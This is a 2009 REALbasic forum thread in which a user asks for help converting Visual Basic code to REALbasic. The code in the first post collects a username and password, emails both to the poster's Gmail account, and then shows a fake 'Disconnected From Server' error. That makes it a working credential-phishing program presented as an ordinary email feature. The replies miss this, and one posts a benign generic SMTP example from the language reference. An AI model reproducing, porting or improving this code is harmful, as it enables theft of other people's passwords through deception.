New topic: Help for Converting this VisualBasic 2008 code
<http://forums.realsoftware.com/viewtopic.php?t=30493> Page 1 of 1 [ 3 posts ] Previous topic | Next topic Author Message Blakeasd Post subject: Help for Converting this VisualBasic 2008 codePosted: Thu Oct 15, 2009 10:55 am Joined: Sat Sep 05, 2009 12:59 pm Posts: 7 I am working on a project that requires gmail and emailing. Here is the visualbasic source code. I am having a very difficult time converting this. I am a newbie at RealBasic. I was wondering if one of you experienced realbasic people could help me convert this code. Thanks and PLEASE help! Here is the visualbasic code: Code: if TextBox1.Text = "" Then MsgBox("Username Is Missing") If Textbox2.text = "" Then Msgbox("Password Is Mising") Else End If End if Dim smtpServer As New SmtpClient() Dim mail As New MailMessage() smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password") 'using gmail smtpServer.Port = 587 smtpServer.Host = "smtp.gmail.com" smtpServer.EnableSsl = True mail = New MailMessage() mail.From = New MailAddress("Your Gmail") mail.To.Add("Your Gmail") mail.Subject = "Username: " & TextBox1. Text mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text smtpServer.Send(mail) MsgBox("DIsconnected From Server, Please try again later!") Top logicalvue Post subject: Re: Help for Converting this VisualBasic 2008 codePosted: Thu Oct 15, 2009 1:26 pm Joined: Fri Sep 30, 2005 9:35 am Posts: 458 Location: South Portland, Maine What code have you tried? Sending e-mail with REALbasic is relatively straightforward using the EmailMessage and SMTPSocket/SMTPSecureSocket classes. _________________ Paul Lefebvre LogicalVue Software, Inc. ---- Software Made Simple Blog ---- RBDevZone ---- Association of RB Professionals Top Guyn Mohn Post subject: Re: Help for Converting this VisualBasic 2008 codePosted: Thu Oct 15, 2009 1:35 pm Joined: Fri Feb 09, 2007 8:25 am Posts: 18 From language reference SMTPSocket: Dim mail as EmailMessage Dim file as EmailAttachment Dim i as Integer Dim s as String SMTPSocket1.address = "mail.mySMTPServer.com" SMTPSocket1.port = 25 SMTPSocket1.username = usernameFld.text //get username from TextField SMTPSocket1.password = passwordFld.text //get password from TextField mail = New EmailMessage mail.fromAddress=fromAddressFld.text //get From address from TextField mail.subject=subjectFld.text //get Subject of mail from TextField mail.bodyPlainText = bodyFld.text //get body in plain text from TextField mail.bodyHTML = htmlFld.text //get body in HTML from TextField mail.headers.appendHeader "X-Mailer","REALbasic SMTP Demo" //multiple To addresses separated by commas //each to address added to Recipient array s = ReplaceAll(toAddressFld.text,",",Chr(13)) For i = 1 to CountFields(s,Chr(13)) mail.addRecipient Trim(NthField(s,Chr(13),i)) next //multiple CC addresses separated by commas //each to address added to CCRecipient array s = ReplaceAll(ccAddressFld.text,",",Chr(13)) For i = 1 to CountFields(s,Chr(13)) mail.addCCRecipient Trim(NthField(s,Chr(13),i)) next //add attachments, if any If fileFld.text <> "" then //is there a path to an attachment file? file = New EmailAttachment file.loadFromFile GetFolderItem(fileFld.text) mail.attachments.append file //add file to attachments array end //send the mail SMTPSocket1.messages.append mail //add email to list of messages SMTPSocket1.SendMail //send message Top Display posts from previous: All posts1 day7 days2 weeks1 month3 months6 months1 year Sort by AuthorPost timeSubject AscendingDescending Page 1 of 1 [ 3 posts ] -- Over 1500 classes with 29000 functions in one REALbasic plug-in collection. The Monkeybread Software Realbasic Plugin v9.3. http://www.monkeybreadsoftware.de/realbasic/plugins.shtml rbforumnotifier@monkeybreadsoftware.de